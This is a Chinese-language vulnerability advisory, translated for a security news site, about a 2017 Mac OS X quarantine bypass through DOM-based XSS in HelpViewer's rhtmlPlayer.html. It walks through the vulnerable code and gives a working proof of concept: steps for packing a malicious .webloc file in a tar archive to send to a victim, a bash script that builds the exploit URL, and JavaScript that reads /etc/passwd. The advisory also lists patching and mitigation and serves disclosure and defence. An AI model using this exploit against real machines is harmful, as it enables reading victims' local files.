【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞,可造成任意文件读取!(含PoC)

http://p5.qhimg.com/t0168f995eb588b6eff.png

译者:興趣使然的小胃

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


漏洞概要

漏洞名称:Mac OS X本地Javascript隔离绕过漏洞(可读取本地文件)

影响产品:Mac OS X

影响版本:10.12, 10.11, 10.10及之前的版本也可能受到该漏洞的影响

影响厂商:apple.com

漏洞类型:DOM Based XSS

风险等级:3 / 5

漏洞发现者:Filippo Cavallarin – wearesegment.com

CVE编号:N/A

通知厂商日期:2017-07-15

厂商修复日期:2017-09-25

漏洞公开日期:2017-09-28


漏洞细节

Mac OS X存在一个漏洞,利用这个漏洞,攻击者可以绕过Apple的隔离机制,不受任何限制执行任意Javascript代码。

Apple隔离机制的原理是在下载的文件上设置一个扩展属性,以便系统在受限环境中打开或者执行这些文件(从下载的归档文件或者图像中提取的文件也适用于这种场景)。举个例子,被隔离的html文件无法加载本地资源。

该漏洞存在于某个html文件中,这个文件是Mac OS X内核的一部分,容易受到基于DOM的XSS攻击影响,最终导致在(未受限)上下文中执行任意Javascript命令。


演示视频

该文件的具体路径为:“/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html”,文件包含如下代码:

<script type="text/javascript" charset="utf-8">
setBasePathFromString(urlParam("rhtml"));
loadLocStrings();
loadJavascriptLibs();
function init () { /* <-- called by <body onload="init()" */
  [...]
  rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */
  [...]
  self.contentHttpReq.open('GET', rHTMLPath, true);
  self.contentHttpReq.onreadystatechange = function() {
      if (self.contentHttpReq.readyState == 4) {
          loadTutorial(self.contentHttpReq.responseText);
      }
  }
  [...]
}
function loadTutorial(response) {
  var rHTMLPath = urlParam("rhtml");
  // this will create a tutorialData item
  eval(response);
  [...]
}
function loadLocStrings()
{
  var headID = document.getElementsByTagName("head")[0];         
  var rHTMLPath = urlParam("rhtml");
  rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
  var newScript = document.createElement('script');
  newScript.type = 'text/javascript';
  newScript.src = rHTMLPath;
  headID.appendChild(newScript);      
}
[...]
</script>

简而言之,这段代码会从“rhtml”查询字符串参数中提取url地址,然后向该地址发起请求,将响应数据作为javascript代码加以执行。

这段代码中包含两段不同的基于DOM的XSS代码。

第一段代码位于loadLocStrings()函数内,该代码创建了一个SCRIPT元素,使用“rhtml”参数作为“src”的属性。

第二段代码位于init()函数内,使用“rhtml”参数发起ajax调用,然后将响应数据直接传递个eval()进行处理。

这样做的结果就是同样的载荷会被执行两次。

攻击者只要提供一个包含恶意数据的uri,就能控制响应数据,进而控制执行语句。

攻击者可以使用.webloc文件来利用这个漏洞。通常情况下,这类文件包含url地址,使用Safari打开这类文件时,它们会自动加载这个url地址。

攻击者可以构造一个.webloc文件,诱导受害者打开这个文件,然后就可以在受害者主机上执行高权限javascript命令。

由于.webloc文件同样会使用扩展属性来存储数据,因此攻击者需要将这类文件存放在tar归档文件中再发送给受害者(也可以存储在其他支持扩展属性的文件中)。

PoC

如果要重现这个漏洞,我们需要执行如下操作:

1、创建一个在目标上执行的javascript文件。

2、使用base64对文件内容进行编码。

3、将其编码为“uri组件(uri component)”(例如,我们可以使用encodeURIComponent这个js函数完成这一任务)。

4、利用这段数据构造如下形式的uri:

data:text/plain;base64,<urlencoded base64>

5、在开头添加如下字符串:

file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=

6、使用Safari打开这个地址。

7、将其保存为书签。

8、将该书签拖放到Finder中(此时会创建一个.webloc文件,如果扩展名不是.webloc,需要重命名为正确的扩展名)。

9、创建一个tar归档文件,包含这个.webloc文件。

10、将归档文件发送给受害者。

需要注意的是,受限于rhtmlPlayer.html的处理流程,为了访问本地资源,我们所构造的javascript代码中第一行必须为:document.getElementsByTagName("base")[0].href=""。

我们可以使用如下bash脚本,将某个javascript文件转化为最终可利用的“file” url地址:

#!/bin/bash
BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml="
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"
DATAURI="data:text/plain;base64,"
JSFILE=$1
if [ "$JSFILE" = "" ]; then
  echo "usage: $0 "
  exit 1
fi
JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's///%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"
echo -ne "Paste the url below into Safari's url bar:n33[33m$URL33[0mn"

使用如下javascript代码,我们可以在受害者主机上显示“/etc/passwd”文件内容:

xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
 if (xhr.readyState == 4) {
  alert(xhr.responseText);
 }
};
xhr.send();

需要注意的是,只有Safari才能通过ajax成功加载本地资源(Chrome以及Firefox不行)。对我们来说这并不是个问题,因为在这个漏洞利用过程中,只有Safari会打开.webloc文件。

备注

在本文成稿时,新版的Mac OS X High Sierra中悄悄修复了这个漏洞,因此Apple的更新日志中没有提到这个bug。

Apple没有为这个漏洞分配CVE编号。

解决办法

请更新至Mac OS X High Sierra,或者删除rhtmlPlayer.html以修复这个漏洞。

漏洞状态

Securiteam安全披露计划已公布了该漏洞,具体地址为:http://www.beyondsecurity.com/ssd  。

(完)